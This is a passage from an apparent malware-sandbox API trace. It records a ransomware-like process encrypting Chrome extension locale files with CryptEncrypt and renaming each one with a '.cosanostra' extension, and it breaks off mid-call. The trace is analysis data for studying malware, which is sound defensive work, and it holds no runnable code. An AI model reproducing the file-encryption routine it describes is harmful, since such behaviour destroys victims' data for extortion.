WriteFile (in: hFile=0x18c, lpBuffer=0x3011520*, nNumberOfBytesToWrite=0x159, lpNumberOfBytesWritten=0x2abf954, lpOverlapped=0x0 | out: lpBuffer=0x3011520*, lpNumberOfBytesWritten=0x2abf954*=0x159, lpOverlapped=0x0) returned 1 [0084.943] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.944] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf994*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf954, lpOverlapped=0x0 | out: lpBuffer=0x2abf994*, lpNumberOfBytesWritten=0x2abf954*=0x4, lpOverlapped=0x0) returned 1 [0084.944] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf954, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf954*=0x30, lpOverlapped=0x0) returned 1 [0084.944] CloseHandle (hObject=0x18c) returned 1 [0084.944] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json.cosanostra")) returned 1 [0084.946] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf990 | out: pbBuffer=0x2abf990) returned 1 [0084.946] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf988*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf988*=0x30) returned 1 [0084.946] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.946] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json") returned 159 [0084.946] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.947] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff07, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.947] WriteFile (in: hFile=0x18c, lpBuffer=0x3011520*, nNumberOfBytesToWrite=0xf9, lpNumberOfBytesWritten=0x2abf94c, lpOverlapped=0x0 | out: lpBuffer=0x3011520*, lpNumberOfBytesWritten=0x2abf94c*=0xf9, lpOverlapped=0x0) returned 1 [0084.947] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.947] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf98c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf94c, lpOverlapped=0x0 | out: lpBuffer=0x2abf98c*, lpNumberOfBytesWritten=0x2abf94c*=0x4, lpOverlapped=0x0) returned 1 [0084.947] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf94c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf94c*=0x30, lpOverlapped=0x0) returned 1 [0084.947] CloseHandle (hObject=0x18c) returned 1 [0084.947] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json.cosanostra")) returned 1 [0084.949] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf988 | out: pbBuffer=0x2abf988) returned 1 [0084.949] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf980*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf980*=0x30) returned 1 [0084.949] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.949] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json") returned 156 [0084.949] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.950] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffeb7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.950] WriteFile (in: hFile=0x18c, lpBuffer=0x3011520*, nNumberOfBytesToWrite=0x149, lpNumberOfBytesWritten=0x2abf944, lpOverlapped=0x0 | out: lpBuffer=0x3011520*, lpNumberOfBytesWritten=0x2abf944*=0x149, lpOverlapped=0x0) returned 1 [0084.950] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.950] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf984*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf944, lpOverlapped=0x0 | out: lpBuffer=0x2abf984*, lpNumberOfBytesWritten=0x2abf944*=0x4, lpOverlapped=0x0) returned 1 [0084.950] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf944, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf944*=0x30, lpOverlapped=0x0) returned 1 [0084.950] CloseHandle (hObject=0x18c) returned 1 [0084.952] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json.cosanostra")) returned 1 [0084.954] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf980 | out: pbBuffer=0x2abf980) returned 1 [0084.954] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf978*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf978*=0x30) returned 1 [0084.954] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.954] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json") returned 156 [0084.954] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.955] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.955] WriteFile (in: hFile=0x18c, lpBuffer=0x3011520*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2abf93c, lpOverlapped=0x0 | out: lpBuffer=0x3011520*, lpNumberOfBytesWritten=0x2abf93c*=0x100, lpOverlapped=0x0) returned 1 [0084.955] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.955] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf97c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf93c, lpOverlapped=0x0 | out: lpBuffer=0x2abf97c*, lpNumberOfBytesWritten=0x2abf93c*=0x4, lpOverlapped=0x0) returned 1 [0084.955] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf93c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf93c*=0x30, lpOverlapped=0x0) returned 1 [0084.955] CloseHandle (hObject=0x18c) returned 1 [0084.956] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json.cosanostra")) returned 1 [0084.958] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf978 | out: pbBuffer=0x2abf978) returned 1 [0084.958] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf970*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf970*=0x30) returned 1 [0084.958] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.959] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json") returned 156 [0084.959] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.960] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff0d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.960] WriteFile (in: hFile=0x18c, lpBuffer=0x3011520*, nNumberOfBytesToWrite=0xf3, lpNumberOfBytesWritten=0x2abf934, lpOverlapped=0x0 | out: lpBuffer=0x3011520*, lpNumberOfBytesWritten=0x2abf934*=0xf3, lpOverlapped=0x0) returned 1 [0084.960] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.960] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf974*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf934, lpOverlapped=0x0 | out: lpBuffer=0x2abf974*, lpNumberOfBytesWritten=0x2abf934*=0x4, lpOverlapped=0x0) returned 1 [0084.960] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf934, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf934*=0x30, lpOverlapped=0x0) returned 1 [0084.960] CloseHandle (hObject=0x18c) returned 1 [0084.961] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json.cosanostra")) returned 1 [0084.962] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf970 | out: pbBuffer=0x2abf970) returned 1 [0084.962] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf968*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf968*=0x30) returned 1 [0084.962] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.963] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json") returned 156 [0084.963] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.965] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffefd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.965] WriteFile (in: hFile=0x18c, lpBuffer=0x3011520*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x2abf92c, lpOverlapped=0x0 | out: lpBuffer=0x3011520*, lpNumberOfBytesWritten=0x2abf92c*=0x103, lpOverlapped=0x0) returned 1 [0084.965] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.965] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf96c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf92c, lpOverlapped=0x0 | out: lpBuffer=0x2abf96c*, lpNumberOfBytesWritten=0x2abf92c*=0x4, lpOverlapped=0x0) returned 1 [0084.965] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf92c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf92c*=0x30, lpOverlapped=0x0) returned 1 [0084.965] CloseHandle (hObject=0x18c) returned 1 [0084.966] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json.cosanostra")) returned 1 [0084.967] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf968 | out: pbBuffer=0x2abf968) returned 1 [0084.967] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf960*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf960*=0x30) returned 1 [0084.967] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.967] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json") returned 156 [0084.967] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.969] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffef7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.969] WriteFile (in: hFile=0x18c, lpBuffer=0x3011520*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x2abf924, lpOverlapped=0x0 | out: lpBuffer=0x3011520*, lpNumberOfBytesWritten=0x2abf924*=0x109, lpOverlapped=0x0) returned 1 [0084.969] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.969] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf964*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf924, lpOverlapped=0x0 | out: lpBuffer=0x2abf964*, lpNumberOfBytesWritten=0x2abf924*=0x4, lpOverlapped=0x0) returned 1 [0084.969] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf924, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf924*=0x30, lpOverlapped=0x0) returned 1 [0084.969] CloseHandle (hObject=0x18c) returned 1 [0084.970] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json.cosanostra")) returned 1 [0085.068] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf960 | out: pbBuffer=0x2abf960) returned 1 [0085.068] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf958*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf958*=0x30) returned 1 [0085.068] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.075] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json") returned 157 [0085.075] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.075] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.075] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf91c, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf91c*=0xb3, lpOverlapped=0x0) returned 1 [0085.075] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.076] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf95c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf91c, lpOverlapped=0x0 | out: lpBuffer=0x2abf95c*, lpNumberOfBytesWritten=0x2abf91c*=0x4, lpOverlapped=0x0) returned 1 [0085.076] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf91c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf91c*=0x30, lpOverlapped=0x0) returned 1 [0085.076] CloseHandle (hObject=0x18c) returned 1 [0085.076] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.cosanostra")) returned 1 [0085.077] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf958 | out: pbBuffer=0x2abf958) returned 1 [0085.078] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf950*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf950*=0x30) returned 1 [0085.078] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.078] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json") returned 158 [0085.078] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.079] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.079] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, 